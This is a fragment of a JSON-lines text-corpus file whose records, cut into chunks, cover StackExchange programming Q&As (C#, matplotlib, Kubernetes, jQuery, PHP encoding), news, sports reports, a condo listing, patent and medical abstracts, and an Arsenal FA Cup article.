peace.","metadata":{"pile_set_name":"Pile-CC"},"id":477} {"contents":"The invention relates generally to internal combustion engines, and, more particularly, to exhaust gas systems and arrangements for such engines.\nThe invention also relates to outboard motors and to engines and exhaust gas discharge arrangements for such outboard motors.\nThe invention also relates to diminishing discharge of unburned combustibles into the atmosphere by facilitating combustion thereof in the exhaust pipe prior to discharge.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":478} {"contents":"Check out these Stan lee limited edition collectors POW! rings .925 sterling silver, only 250 made. Each ring comes with a certificate of authenticity signed by Stan \"The Man\" himself as well as a glass cubical display case and a custom Revolution1jewelry pouch. Available in both pewter and silver from sizes 5-15 at: http:\/\/powentertainment.cinderblock.com\/ & http:\/\/www.revolution1jewelry.com .\n\nSo what are you waiting for, show your POW! pride today with these one of a kind rings!","metadata":{"pile_set_name":"Pile-CC"},"id":479} {"contents":"Q:\n\nCreate User profile with separate social media data\n\nI am creating user profile logic for a blogging platform. I have the UserProfile model and then two separate models, UserSocialLink and SocialLinkType to control the user's various social media contacts (i.e. Facebook, Twitter, Google+, etc...). I am looking for feed back on the execution of the methods used to Add new UserProfiles. Is this the way you would handle it? Is there a better way? What are some of the issues you see with my methods (specifically in the service class)?\nThe Models\npublic class UserProfile\n{\n public int Id { get; set; }\n public string UserName { get; set; }\n public string FirstName { get; set; }\n ","metadata":{"pile_set_name":"StackExchange"},"id":480} {"contents":"public string LastName { get; set; }\n public string ProfilePicUrl { get; set; }\n public string Location { get; set; }\n public string DateOfBirth { get; set; }\n public string Bio { get; set; }\n public DateTime Created { get; set; }\n public DateTime Updated { get; set; }\n }\n\npublic class UserSocialLink\n{\n public int Id {get; set;}\n public int UserProfileId { get; set; }\n public int SocialLinkTypeID { get; set; }\n public string LinkValue { get; set; }\n public DateTime Created { get; set; }\n public DateTime Updated { get; set; }\n\n","metadata":{"pile_set_name":"StackExchange"},"id":481} {"contents":" public virtual UserProfile UserProfile { get; set; }\n public virtual SocialLinkType SocialLinkType {get; set;}\n}\n\npublic class SocialLinkType\n{\n public int Id { get; set; }\n public string LinkType { get; set; }\n public string URLFormat { get; set; }\n}\n\nThe Add Methods in The Service Class\npublic class UserProfileService : IUserProfileService\n{\n public UserProfile Add(UserProfile userProfile)\n {\n var now = DateTime.UtcNow;\n\n if (userProfile == null)\n throw new ArgumentNullException(\"User Profile\");\n\n userProfile.Created = now;\n userProfile.Updated","metadata":{"pile_set_name":"StackExchange"},"id":482} {"contents":"= now;\n using (var db = new ApplicationDbContext())\n {\n db.UserProfiles.Add(userProfile);\n db.SaveChanges();\n }\n return userProfile;\n }\n\n public UserProfile AddSocialLink(string userName, UserSocialLink userSocialLink, string socialLinkType)\n {\n var now = DateTime.UtcNow;\n var userProfile = Get(userName);\n if (userProfile == null)\n throw","metadata":{"pile_set_name":"StackExchange"},"id":483} {"contents":"new Exception(\"User Profile Not Found\");\n using (var db = new ApplicationDbContext())\n {\n var linkType = db.SocialLinkTypes.SingleOrDefault(p => p.LinkType.ToUpper() == socialLinkType.ToUpper());\n if (linkType == null)\n throw new Exception(\"Social Media Type Not Found\");\n userSocialLink.Created = now;\n userSocialLink.Updated = now;\n userSocialLink.SocialLinkTypeID = linkType.Id;\n ","metadata":{"pile_set_name":"StackExchange"},"id":484} {"contents":" db.UserSocialLinks.Add(userSocialLink);\n db.SaveChanges();\n return userProfile;\n }\n }\n}\n\nRelated GitHub Issue #14\n\nA:\n\npublic UserProfile AddSocialLink(string userName, UserSocialLink userSocialLink, string socialLinkType)\n\nShouldn't the socialLinkType be a property of the UserSocialLink class? It seems odd to me that the code has to pass a string along with the object in order to tell the method what type it is. That said, I really do like that you're checking the database to make sure the type is valid. Now that I think of it, why pass the user name as a string? Wouldn't it be a","metadata":{"pile_set_name":"StackExchange"},"id":485} {"contents":"simpler API to pass a UserProfile in? At least, it would be more consistent for the dev using the UserProfileService. \n\nThis code is a great example of why we should all use proper indentation and braces around if statements. \n\nvar linkType = db.SocialLinkTypes.SingleOrDefault(p => p.LinkType.ToUpper() == socialLinkType.ToUpper());\nif (linkType == null)\n throw new Exception(\"Social Media Type Not Found\");\nuserSocialLink.Created = now;\nuserSocialLink.Updated = now;\nuserSocialLink.SocialLinkTypeID = linkType.Id;\ndb.UserSocialLinks.Add(userSocialLink);\ndb.SaveChanges();\nreturn userProfile;\n\nAt a glance, it looks like the userSocialLink only gets it's properties set if (linkType == null) and after an exception is thrown. Of course, this is ridiculous and not what is actually happening, but braces make that crystal clear to Mr. Maintainer. \nvar linkType = db.SocialLinkTypes.SingleOrDefault(p => p.LinkType.ToUpper() == socialLinkType.ToUpper());\nif (linkType == null)\n{\n throw new Exception(\"Social Media Type","metadata":{"pile_set_name":"StackExchange"},"id":486} {"contents":"Not Found\");\n}\nuserSocialLink.Created = now;\nuserSocialLink.Updated = now;\nuserSocialLink.SocialLinkTypeID = linkType.Id;\ndb.UserSocialLinks.Add(userSocialLink);\ndb.SaveChanges();\nreturn userProfile;\n\nA:\n\nIn addition RubberDuck's answer about the braces: \nInside the AddSocialLink() method you have this \n\nvar userProfile = Get(userName);\nif (userProfile == null)\n throw new Exception(\"User Profile Not Found\");\n\nHere, with the usage of var, it isn't obvious what datatype is assigned to userProfile. The methodname Get does not reflect anything to make it more clear.\nSure, Mr.Maintainer could assume, as this is the UserProfileService, that the return type would be a UserProfile, but it would be more explicit to add a ExistUserProfile() method which just returns a boolean. \nprivate Boolean ExistUserProfile(String userName)\n{\n UserProfile userProfile = Get(userName);\n return userProfile != null;\n}\n\nThe UserProfileService class does violate the Single responsibility principle as it is","metadata":{"pile_set_name":"StackExchange"},"id":487} {"contents":"responsible to add, get etc UserProfile data and at least to also add UserSocialLink data.\nThis is also reflected clearly in the question title: \"Create User profile with separate social media data\". \nReturning a UserProfile object from this method does not make any sense, as the code isn't changing any property of the retrieved userprofile.\nA user of the UserProfileService class wouldn't expect that adding a SocialLink by calling the AddSocilaLink() method would return a UserProfile object.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":488} {"contents":"Q:\n\nmatplotlib imshow() with irregular spaced data points\n\nI am trying to put some data into an imshow() plot.\nMy problem is that the data does not come as a MxN array but as a 3xN array (x- and y coordinate and value). The points are NOT arranged as a regular grid but lie within [xmin,xmax,ymin and ymax]=[-pi\/2,pi\/2,0,3.5].\nIn [117]: shape(data)\nOut[117]: (3L, 102906L)\n\nHow can I get a nice image plot from that data?\nThank you very much for any help.\nbtw the data represents temperature values on the surface of a rod as a function of axial and azimuthal position, think of a cfd-mesh.\n\nA:\n\nI recommend using the griddata-method for interpolation. A sample would be:\nimport numpy as np\nfrom matplotlib.mlab import griddata\nimport matplotlib.pyplot as plt\n\nxs0 = np.random.random((1000)) * np.pi - np.pi\/2\nys0 = np.random.random((1000)) * 3.5\nzs0 =","metadata":{"pile_set_name":"StackExchange"},"id":489} {"contents":"np.random.random((1000))\n\nN = 30j\nextent = (-np.pi\/2,np.pi\/2,0,3.5)\n\nxs,ys = np.mgrid[extent[0]:extent[1]:N, extent[2]:extent[3]:N]\n\nresampled = griddata(xs0, ys0, zs0, xs, ys)\n\nplt.imshow(resampled.T, extent=extent)\nplt.plot(xs0, ys0, \"r.\")\nplt.plot(xs, ys, \"b.\")\nplt.title(\"imshow for irregularly spaced data using griddata\")\nplt.show()\n\nI guess transition from your 3*X-array to three X-arrays is obvious.\nThe result is:\n\nRed points show the \"original\" positions of the data, blue points for the now regularly spaced data.\ngriddata returns a masked array. All points for which the interpolation cannot be evaluated are masked and then plotted as white areas.\nHTH,\nThorsten\n\n","metadata":{"pile_set_name":"StackExchange"},"id":490} {"contents":"As in the Stony Brook game Vanderbilt got off to a slow start, missing its first two shots and suffering two turnovers to fall behind 5-0 before Matthew Fisher Davis nailed a 3-pointer to put the Dores on board.\n\nVanderbilt then went on a 16-2 run to take a 19-7 lead with 9:25 to go in the first half.\n\nA three pointer by Wade Baldwin the IV extended Vandy\u2019s lead to 28-12 with 7:29 to go in the half. Baldwin would go on to score 20 points with two three-pointers during the game.\n\nAnother three pointer by Fisher Davis put Vandy firmly in command with a 33-12 lead with 7 minutes to play in the half.\n\nFisher Davis made four threes during the game including 3 of 4 in the opening stanza.\n\nAfter","metadata":{"pile_set_name":"OpenWebText2"},"id":491} {"contents":"a Kevin Stallings tirade following a vandy defensive breakdown the Titans would not score the last 2:33 of the half and the Commodores would head to the locker room up 47-20.\n\nNolan Cressler was second on the team with 14 points, shooting 50 percent from the field with two three\u2019s.\n\nWith 5:29 to go in the game Cressler put an exclamation point on the Vanderbilt victory with a huge dunk that put Vandy up 93-42.\n\nLuke Kornet led the \u2018Dores with 11 rebounds and five blocked shots in only 16 minutes of play.\n\nThe \u2018Dores got even hotter in the second half, shooting 59.4% from the field, while hitting five of 11 three pointers.\n\nNext up for Vanderbilt is a visit to 25th ranked Baylor on Sunday December 6.\n\nFor Vandymania.com and Scout this","metadata":{"pile_set_name":"OpenWebText2"},"id":492} {"contents":"is D.T. Yates","metadata":{"pile_set_name":"OpenWebText2"},"id":493} {"contents":"The ARIA Engine is a 64-bit Sampler\/Synthesis Engine, developed by Plogue Art et Technologie Inc in collaboration with Garritan Corp. It is based on the SFZ 1.0 \/ SFZ 2.0 open file formats for instrument programming and the Scala open file format to define scales and temperaments.","metadata":{"pile_set_name":"Pile-CC"},"id":494} {"contents":"Description\n\nLovely, fully furnished 1st floor end unit 2 bedroom, 2 bath condo in Turnberry Park at Legends Golf Resort. On the 8th hole of Parkland signature course. Open concept kitchen and living room with nice breakfast bar and dining area. Spacious master bedroom with master bath and oversized shower. Bedroom 2 nice size and large full bath. Laundry area in the unit with lots of storage. Condo has new rugs and been freshly painted. Unit has not been rented in last 2 years, just vacation property. Great investment potential, can be put on the legends golf rental program. This unit is move in ready. Legends is a great community with walking and bike paths. Amenities include gated and nightly security, multiple outdoor pools, grilling, lounging area and tennis","metadata":{"pile_set_name":"Pile-CC"},"id":495} {"contents":"courts. If you are a golfer, Legends Golf offers multiple types of golf memberships with 3 of the finest golf courses in Myrtle Beach. Grand clubhouse with restaurant, Ailsa pub restaurant and tremendous golf practice facilities. Always a game going on. What else can you ask for? Legends Golf Community is the hidden gem of Myrtle Beach. Just minutes away from beaches and shopping. Low HOAs, a must see condo with great rental potential.\n\nSchool Information\n\nDescription\n\nLovely, fully furnished 1st floor end unit 2 bedroom, 2 bath condo in Turnberry Park at Legends Golf Resort. On the 8th hole of Parkland signature course. Open concept kitchen and living room with nice breakfast bar and dining area. Spacious master bedroom with master bath and oversized shower. Bedroom 2 nice size and","metadata":{"pile_set_name":"Pile-CC"},"id":496} {"contents":"large full bath. Laundry area in the unit with lots of storage. Condo has new rugs and been freshly painted. Unit has not been rented in last 2 years, just vacation property. Great investment potential, can be put on the legends golf rental program. This unit is move in ready. Legends is a great community with walking and bike paths. Amenities include gated and nightly security, multiple outdoor pools, grilling, lounging area and tennis courts. If you are a golfer, Legends Golf offers multiple types of golf memberships with 3 of the finest golf courses in Myrtle Beach. Grand clubhouse with restaurant, Ailsa pub restaurant and tremendous golf practice facilities. Always a game going on. What else can you ask for? Legends Golf Community is the hidden gem","metadata":{"pile_set_name":"Pile-CC"},"id":497} {"contents":"of Myrtle Beach. Just minutes away from beaches and shopping. Low HOAs, a must see condo with great rental potential.\n\nProperty Description\n\nLovely, fully furnished 1st floor end unit 2 bedroom, 2 bath condo in Turnberry Park at Legends Golf Resort. On the 8th hole of Parkland signature course. Open concept kitchen and living room with nice breakfast bar and dining area. Spacious master bedroom with master bath and oversized shower. Bedroom 2 nice size and large full bath. Laundry area in the unit with lots of storage. Condo has new rugs and been freshly painted. Unit has not been rented in last 2 years, just vacation property. Great investment potential, can be put on the legends golf rental program. This unit is move in ready. Legends is a great","metadata":{"pile_set_name":"Pile-CC"},"id":498} {"contents":"community with walking and bike paths. Amenities include gated and nightly security, multiple outdoor pools, grilling, lounging area and tennis courts. If you are a golfer, Legends Golf offers multiple types of golf memberships with 3 of the finest golf courses in Myrtle Beach. Grand clubhouse with restaurant, Ailsa pub restaurant and tremendous golf practice facilities. Always a game going on. What else can you ask for? Legends Golf Community is the hidden gem of Myrtle Beach. Just minutes away from beaches and shopping. Low HOAs, a must see condo with great rental potential.","metadata":{"pile_set_name":"Pile-CC"},"id":499} {"contents":"Q:\n\nSignalR connection via K8S Ingress\n\nI'm trying to expose a SignalR hub hosted in a Kubernetes (Azure) pod. Basically, the authentication and the handshake steps work fine, but when I trigger some action, all clients connected via the k8s Ingress doesn't receive the message. Has anybody experienced this issue or just have shared SignalR hubs through Kubernetes - Ingress? \ningress.yml\napiVersion: extensions\/v1beta1\nkind: Ingress\nmetadata:\n name: endpoints\n annotations:\n kubernetes.io\/ingress.class: addon-http-application-routing\n ingress.kubernetes.io\/ssl-redirect: \"false\" \n nginx.ingress.kubernetes.io\/ssl-redirect: \"false\" \n nginx.org\/websocket-services: \"myservice\"\nspec:\n rules:\n - host: api.[MY-DOMAIN].com\n http:\n paths:\n - backend:\n serviceName: myservice\n ","metadata":{"pile_set_name":"StackExchange"},"id":500} {"contents":" servicePort: 80\n path: \/myservice\n\nA:\n\nTry: \nannotations:\n kubernetes.io\/ingress.class: nginx\n nginx.ingress.kubernetes.io\/ssl-redirect: \"false\"\n nginx.ingress.kubernetes.io\/affinity: cookie\n nginx.ingress.kubernetes.io\/session-cookie-hash: sha1\n nginx.ingress.kubernetes.io\/session-cookie-name: REALTIMESERVERID\n\nI wrote a sample project a while back, if you want a working example: DenisBiondic\/RealTimeMicroservices\nAs a side note, consider using Azure SignalR Service, it should remove many headaches (also in the example above).\n\n","metadata":{"pile_set_name":"StackExchange"},"id":501} {"contents":"clinton. in the 1980 republican primary george bush had momentagainstronaldreagan, untilin the debate in new hampshire, there was a moment where reagan looked strong. >> i am paying for this microphone. >> that moment helped change the campaign. >> some o some of them you can . >> read my lips. no new taxes. >> the difference between a hockey mom and a pit bull, lipstick. >> other ones, you got to depend on your candidate seizing a moment you didn't expect to happen. >> there you go again. >> most moments so far this election have been poorly phrased comments. >> if you've got a business, you didn't build that. somebody else made that happen. >> i like being able to fire people that provide services to","metadata":{"pile_set_name":"Pile-CC"},"id":502} {"contents":"me. >> they'll put y'all back in chains. >> the media call those gaffes, but often the media don't know. when ed musky lost the '072 primary because he looked like he teared up defending his wife, everyone said candidates can't career, because that's week, but then in 2008 hillary clinton cried. >> you know, i have so many opportunities from this country. >> she began to tear up. >> don","metadata":{"pile_set_name":"Pile-CC"},"id":503} {"contents":"The dominant hemimelia mutation uncouples epithelial-mesenchymal interactions and disrupts anterior mesenchyme formation in mouse hindlimbs.\nEpithelial-mesenchymal interactions are essential for both limb outgrowth and pattern formation in the limb. Molecules capable of communication between these two tissues are known and include the signaling molecules SHH and FGF4, FGF8 and FGF10. Evidence suggests that the pattern and maintenance of expression of these genes are dependent on a number of factors including regulatory loops between genes expressed in the AER and those in the underlying mesenchyme. We show here that the mouse mutation dominant hemimelia (Dh) alters the pattern of gene expression in the AER such that Fgf4, which is normally expressed in a posterior domain, and Fgf8, which is expressed throughout are expressed in anterior patterns. We show that maintenance","metadata":{"pile_set_name":"PubMed Abstracts"},"id":504} {"contents":"of Shh expression in the posterior mesenchyme is not dependent on either expression of Fgf4 or normal levels of Fgf8 in the overlying AER. Conversely, AER expression of Fgf4 is not directly dependent on Shh expression. Also the reciprocal regulatory loop proposed for Fgf8 in the AER and Fgf10 in the underlying mesenchyme is also uncoupled by this mutation. Early during the process of limb initiation, Dh is involved in regulating the width of the limb bud, the mutation resulting in selective loss of anterior mesenchyme. The Dh gene functions in the initial stages of limb development and we suggest that these initial roles are linked to mechanisms that pattern gene expression in the AER.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":505} {"contents":"Q:\n\nJavaScript form validation for selection field, check value is not 0\n\nI have a form that is to add a module to the database, and I have a select field in the form of values 0,1,2,3 ... 0 = invalid and i know i can disable the first field but i don't know if it interferes with the validation process.\nNote: rest works fine just when its validating it gets stuck when it gets to the module type (selection)\n<?php\ninclude(\"..\/authorise.php\");\nauthorise_user(\"3\");\n?>\n<script src=\"https:\/\/code.jquery.com\/jquery-2.2.0.min.js\"><\/script>\n<script src=\"https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/2.1.4\/jquery.min.js\"><\/script>\n<body>\n<div>\n <form id=\"myForm\" method=\"post\">\n <label for=\"module_name\">Module Name:<\/label>\n <input name=\"module_name\" id=\"module_name\" type=\"text\" \/><br \/>\n <label for=\"module_code\">Module Code:<\/label>\n <input name=\"module_code\" id=\"module_code\" type=\"text\" \/><br \/>\n <label","metadata":{"pile_set_name":"StackExchange"},"id":506} {"contents":"for=\"module_leader\">Module Leader:<\/label>\n <input name=\"module_leader\" id=\"module_leader\" type=\"text\" \/><br \/>\n <label for=\"module_type\">Module Type:<\/label>\n <select name=\"module_type\" id=\"module_type\">\n <option value=\"0\" selected=\"selected\">Please select a module type.<\/option>\n <option value=\"1\">Lecture<\/option>\n <option value=\"2\">Seminar<\/option>\n <option value=\"3\">Lab Practical<\/option>\n <\/select> \n <label for=\"module_location\">Module Location:<\/label>\n <input name=\"module_location\" id=\"module_location\" type=\"text\" \/><br \/>\n <label for=\"module_date\">Module Date:<\/label>\n <input name=\"mnodule_date\" id=\"mnodule_date\" type=\"text\" \/><br \/>\n <input type=\"button\" id=\"submitFormData\"","metadata":{"pile_set_name":"StackExchange"},"id":507} {"contents":"onclick=\"SubmitFormData();\" value=\"Submit\" \/>\n <\/form>\n<\/div>\n<div id=\"error\"><\/div>\n<\/body>\n<script>\nfunction SubmitFormData() {\n var name = $(\"#module_name\").val();\n var code = $(\"#module_code\").val();\n var leader = $(\"#module_leader\").val();\n var type = $(\"#module_type\").val();\n var location = $(\"#module_location\").val();\n var date = $(\"#module_date\").val();\n var validModCode = \/[a-zA-Z]{3}\\d{6}\/\n if((name.length < 6)) { 5\n var message = \"Module Name must be atleast 6 characters.\";\n $('#error').html(message);\n $(\"#module_name\").focus();\n return false; \n } else if(code == \"\") { \n ","metadata":{"pile_set_name":"StackExchange"},"id":508} {"contents":" var message = \"Enter a Module Code.\";\n $('#error').html(message);\n $(\"#module_code\").focus();\n return false; \n } else if(!validModCode.test(code)){\n var message = \"Invalid Module Code (Format: 3 a-z characters, followed by 6 numeric digits ... e.g. MOD002769).\"; \n $('#error').html(message);\n $(\"#module_code\").focus();\n return false; \n } else if (leader.length < 6) {\n var message =","metadata":{"pile_set_name":"StackExchange"},"id":509} {"contents":"\"Module leader must be atleast 6 characters.\"; \n $('#error').html(message);\n $(\"#module_leader\").focus();\n return false; \n } else if(type.value == 0) {\n var message = \"Please choose a Module Type.\";\n $('#error').html(message);\n $(\"#module_type\").focus();\n return false;\n } else if (location.length < 6) { \n var message = \"Module location must be","metadata":{"pile_set_name":"StackExchange"},"id":510} {"contents":"atleast 8 characters.\"; \n $('#error').html(message);\n $(\"#module_location\").focus();\n } else if (date.length < 6) { \n var message = \"Module date must include a day and a time.\"; \n $('#error').html(message);\n $(\"#module_date\").focus();\n } else { \n $('#error').html(\"Adding Module\");\n $.post(\"addModuleSubmit.php\", { \n name:name,\n ","metadata":{"pile_set_name":"StackExchange"},"id":511} {"contents":" code:code,\n leader:leader,\n type:type,\n location:location,\n date:date\n }, function(data) {\n $('#error').html(data);\n $('#myForm').trigger('reset');\n });\n }\n}\n<\/script>\n\nA:\n\nGive like this\nvar type = $(\"#module_type option:selected\").val();\n\nthen give check condition like\nif(type == 0){ \/\/code }\n\n","metadata":{"pile_set_name":"StackExchange"},"id":512} {"contents":"Q:\n\nPHP: if charset mismatches (htmlentities UTF-8) viewed by client as ISO-8859-1 (or vice versa)\n\nShort Question:\nQuestion: Could any security vulnerabilities arise if a server runs htmlentities as UTF-8 but the client views the results as ISO-8859-1?\nAssumption: No vulnerabilities exist when one consistent charset is used\n\nDetailed Question:\nQuestion: Could any security vulnerabilities arise if the server htmlentities a ISO-8859-1 string as UTF-8? (and the client interprets the result as ISO-8859-1?)\n(e.g. $results = htmlentities($iso_8859_1_string, ENT_QUOTES, \"UTF-8\")\nAssuming everything is coded in such a way that no vulnerabilities arise when just one character set encoding is consistently used. (Ignoring if $results = empty string).\nPerhaps if $iso_8859_1_string could contain any value, the results would be treated as either invalid UTF-8 (and return \"\"), or as valid UTF-8. For valid UTF-8, the UTF-8 sequences would","metadata":{"pile_set_name":"StackExchange"},"id":513} {"contents":"be escaped as expected, but how would the results be viewed on the client interpreting the result as ISO-8859-1? The characters results in the 0 - 127 range being escaped as expected (same as \"US-ASCII\"), some characters would resolve into html entities and could be displayed as expected. Are there valid UTF-8 characters in the higher 128+ range which do not resolve to html entities? Would the client just see a bunch of garbled\/garbage text\/symbols but no characters which would cause the web browser to execute code or switch into a code execution context? (e.g. no tag characters such as '<' '>' symbols)? (Assuming the $results are put into a \"content context\", and not in an \"attribute value\" or a \"script\" body).\nIs this right line","metadata":{"pile_set_name":"StackExchange"},"id":514} {"contents":"of thinking?\n\nNote: I believe I've already worked out the vice versa case (i.e. if the server htmlentities a UTF-8 string as ISO-8859-1 and the client interprets the result as UTF-8)\n(e.g. htmlentities($utf8_string, ENT_QUOTES, \"ISO-8859-1\"))\nAnswer: My guess is no security vulnerability on the client (for htmlentities as ISO -> client reads as UTF-8) because:\n\nIn ISO-8859-1, characters in the range :\n\n0-127 (US-ASCII): are encoded exactly the same way in UTF-8,\n160 -> 255 in ISO-8859-1 would all be encoded as HTML entities, \nleaving just the 128-159 character range..., but according to Wikipedia's UTF-8 specification, http:\/\/en.wikipedia.org\/wiki\/UTF-8#Description, all UTF-8 bytes that are in the 128+ range are all part of \"multi-byte sequences\" which comprise a \"leading byte\" which is always 192 or higher, and \"continuation bytes\" in the 128+ range. Thus, the htmlentities($utf8_string,","metadata":{"pile_set_name":"StackExchange"},"id":515} {"contents":"ENT_QUOTES, \"ISO-8859-1\") could not output any \"leading bytes\" needed by UTF-8 to generate valid multi-byte sequences. So any characters in this range would appear in UTF-8 as a ? (i.e. an invalid character) due to not seeing any \"leading byte\".\n\nI think this solves my question for the other direction.\n\nReal-world situation: A PHP 5.3.x server with security backports uses ISO-8859-1 as the default encoding. Starting with PHP 5.4, UTF-8 is the default encoding. http:\/\/php.net\/htmlentities. I'm wanting to determining if the code works properly in either an all UTF-8, or all ISO-8859-1 environment, and ensuring there are no automatic security holes caused by encoding mistakes\/mismatch.\nI feel like I can rest assured that only usability is affected, but not security in these specific cases.\n\nA:\n\nAs far as I'm aware, there's no","metadata":{"pile_set_name":"StackExchange"},"id":516} {"contents":"security issue.\nThe \"dangerous\" characters in HTML (less-than, greater-than, ampersand, single quote, double quote) all have identical byte values under UTF-8 and ISO-8859-1 (and virtually every other encoding you're likely to encounter, with the exceptions of UTF-16, UTF-32, and EBCDIC). As a result, escaping them in one encoding will escape them in the other encoding as well.\nThe reason this holds true is that the vast majority of character encodings, including UTF-8 and ISO-8859-1, are \"ASCII plus additional characters\", and the structure of an HTML document only uses characters in the ASCII portion of the encoding.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":517} {"contents":"Underactive Bladder.\nUnderactive bladder (UAB) is a very common condition leading to disabling lower urinary tract symptoms. There has been an increasing interest in this condition as there is no effective treatment currently available. UAB has been described in many ways, but there is no agreed upon consensus on its terminology. The prevalence of UAB may be underestimated. This review focuses on the terminology, pathophysiology, common causes, its treatment, and future areas of research.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":518} {"contents":"\"Prices have started to stabilize,\" added Nuaimi, whose country is the world's top oil exporter.\n\nRiyadh (AFP) Nov 26, 2005Oil giant Saudi Arabia said Saturday that global\noil inventories were at \"very comfortable\" levels with supply exceeding demand, but was non-committal on what OPEC would do at its next meeting in December.\n\nOil Minister Ali al-Nuaimi also called on leading oil consuming states to stop blaming the OPEC cartel for their \"suffering\" from high crude prices, which he said were due to taxes those nations were imposing.\n\n\"Global inventories today are in a very comfortable position. As a matter of fact, supply today is higher than demand,\" Nuaimi told reporters after a meeting of Gulf Arab oil ministers in the Saudi capital.\n\n\"Prices have started to stabilize,\" added Nuaimi, whose country is the","metadata":{"pile_set_name":"Pile-CC"},"id":519} {"contents":"world's top oil exporter.\n\nBut he would not say if he thought OPEC would at its meeting in Kuwait on December 12 renew its offer to pump an additional two million barrels per day (bpd) or consider an output cut for next year to prevent prices from dropping, as some pundits have predicted.\n\nThe option of OPEC pumping an additional two million bpd is now \"on the table. What happens at the meeting, I will tell you when we meet,\" he said.\n\nThe oil cartel will \"study the market then, and the decision will be taken accordingly,\" Nuaimi said, adding he expected a growth in demand in 2006.\n\nOPEC's current official production ceiling is 28 million bpd, and it maintains the option of pumping the extra two million bpd if demand requires.\n\nPrices","metadata":{"pile_set_name":"Pile-CC"},"id":520} {"contents":"are now in the range of 55-58 dollars a barrel after reaching a record high of more than 70 dollars in late August.\n\nNuaimi echoed a call by Saudi King Abdullah last week on leading consumer states to cut taxes on petroleum products.\n\n\"We hope that major consuming countries will discontinue blaming the burden on the consumer on OPEC. What they should do is look at ... where is the source of the burden,\" Nuaimi said.\n\n\"The source of the burden is both the tax and the VAT which are imposed on the individual. So it is not fair to say that the consumer is suffering because of the price of crude oil. He is suffering because of the high burden of taxes on him.\"\n\n\"I'm not saying there (will be) a","metadata":{"pile_set_name":"Pile-CC"},"id":521} {"contents":"cut or not. I said everytime we met this ... has been the practice. We will discuss all the options,\" he said.\n\n\"There should be no shortage of supply, (nor) should there be a big surplus on the market,\" Attiyah said.\n\nIran's OPEC envoy, Hossein Kazempour Ardebili, was quoted Saturday as saying the cartel did not need to alter its output quotas at the December meeting.\n\nThe meeting of Gulf Cooperation Council (GCC) oil ministers opened with an appeal to consumers to reciprocate the \"wise and flexible\" policies of Gulf Arab oil producers by refraining from applying protectionist and \"discriminatory\" measures.\n\nThe Gulf bloc is committed to \"guaranteeing oil supplies and meeting growing demand for crude\" and to coordinate with other producers and well as with consuming countries in order to help","metadata":{"pile_set_name":"Pile-CC"},"id":522} {"contents":"\"improve the performance of the world economy,\" the GCC chief said in a statement read on his behalf.\n\nBut the GCC policies \"will not bear fruit in terms of achieving the desired stability on oil markets ... without the cooperation of the other parties and without refraining from pursuing protectionist policies and laws (which impose) taxes and discriminate against oil,\" Abdulrahman al-Attiyah said.\n\nBahrain's State Minister Abdul Hussein bin Ali Mirza told reporters the topics discussed during Saturday's meeting included unifying the GCC states' stands on the Kyoto Protocol, the UN pact to curb global-warming gases, during a conference on the protocol's future opening in Montreal on Monday.\n\nRussian Energy Supplies And Asian DemandMoscow (UPI) Nov 26, 2005Russia may account for less than 1 percent of Asia-Pacific Economic Cooperation region trade,","metadata":{"pile_set_name":"Pile-CC"},"id":523} {"contents":"but it is the country that will fuel the economic growth of many of its Pacific Rim neighbors.\n\nThe content herein, unless otherwise known to be public domain, are Copyright 1995-2006 - SpaceDaily.AFP and UPI Wire Stories are copyright Agence France-Presse and United Press International. ESA PortalReports are copyright European Space Agency. All NASA sourced material is public domain. Additionalcopyrights may apply in whole or part to other bona fide parties. Advertising does not imply endorsement,agreement or approval of any opinions, statements or information provided by SpaceDaily on any Web page published or hosted by SpaceDaily. Privacy Statement","metadata":{"pile_set_name":"Pile-CC"},"id":524} {"contents":"Last year we thought it would be a good idea to put together a compendium of information relating to all of Arsenal\u2019s FA Cup final appearances on one page so you don\u2019t have to trawl all over the internet to find out the answers to all of those nagging questions.\n\nWe\u2019ve updated the article and made some additions. We\u2019ve added a brief match report for each game which we wrote for the Arsenal magazine last year, and most of the programmes for the games. We were hoping to have all of them ready in time for this blog but the later years take ages to scan as they are so big. We\u2019ll add them as we scan them in. Be aware that these later programmes are huge, physically and","metadata":{"pile_set_name":"OpenWebText2"},"id":525} {"contents":"electronically. With this in mind we\u2019ve shown the file size for each one so you know what you are letting yourself in for. This article was originally posted in 2015 and has been updated to include all subsequent FA Cup final appearances.\n\nArsenal have appeared in 18 previous FA Cup finals, winning 11 of them. Reaching the 2015 final means that Arsenal have surpassed the record the held jointly with Manchester United, and a win will give them a record 12th win. What we have collated here is a list of all the FA Cup finals that Arsenal have appeared in with match details, line-ups, match reports and some stats at the end of the article.\n\nWe don\u2019t expect you to read through this all in one go, but to","metadata":{"pile_set_name":"OpenWebText2"},"id":526} {"contents":"dip in whenever you think \u201cwho was Arsenal\u2019s captain in the 2003 final\u201d or \u201cwhat was the weather like in the 1950 final?\u201d We highly recommend reading the match reports, especially for the earlier finals even if it is only to see the difference in reporting styles when compared with today\u2019s reporters.\n\nThe front cover of Weekly Illustrated from 25 April 1936 was kindly supplied by @OpArsenalArt #OpAa \u2013 who produce high quality Arsenal memorabilia and impressive iconography.\n\nFinal appearances (3 or more):\n\n5 \u2013 Ray Parlour, Pat Rice, David Seaman\n\n4 \u2013 Tony Adams, Dennis Bergkamp, Ashley Cole, Joe Hulme, Martin Keown, Freddie Ljungberg, David O\u2019Leary, Patrick Vieira\n\n3 \u2013 Cliff Bastin, Hector Bellerin, Liam Brady, Lee Dixon, Olivier Giroud, Eddie Hapgood, Thierry Henry, Pat Jennings, Bob John, Lauren, Per Mertesacker, Sammy","metadata":{"pile_set_name":"OpenWebText2"},"id":527} {"contents":"Nelson, Mesut Ozil, Tom Parker, Robert Pires, David Price, Aaron Ramsey, Graham Rix, Frank Stapleton, Alan Sunderland, Sylvain Wiltord, Willie Young\n\nN.B. The 1993 final counts as one appearance.\n\nWinners appearances:\n\n4 \u2013 Ray Parlour, David Seaman.\n\n3 \u2013 Tony Adams, Hector Bellerin, Dennis Bergkamp, Ashley Cole, Olivier Giroud, Martin Keown, Lauren, Freddie Ljungberg, Per Mertesacker, Mesut Ozil, Aaron Ramsey, Patrick Vieira.\n\n2 \u2013 Cliff Bastin, Santi Cazorla, Francis Coquelin, Lee Dixon, 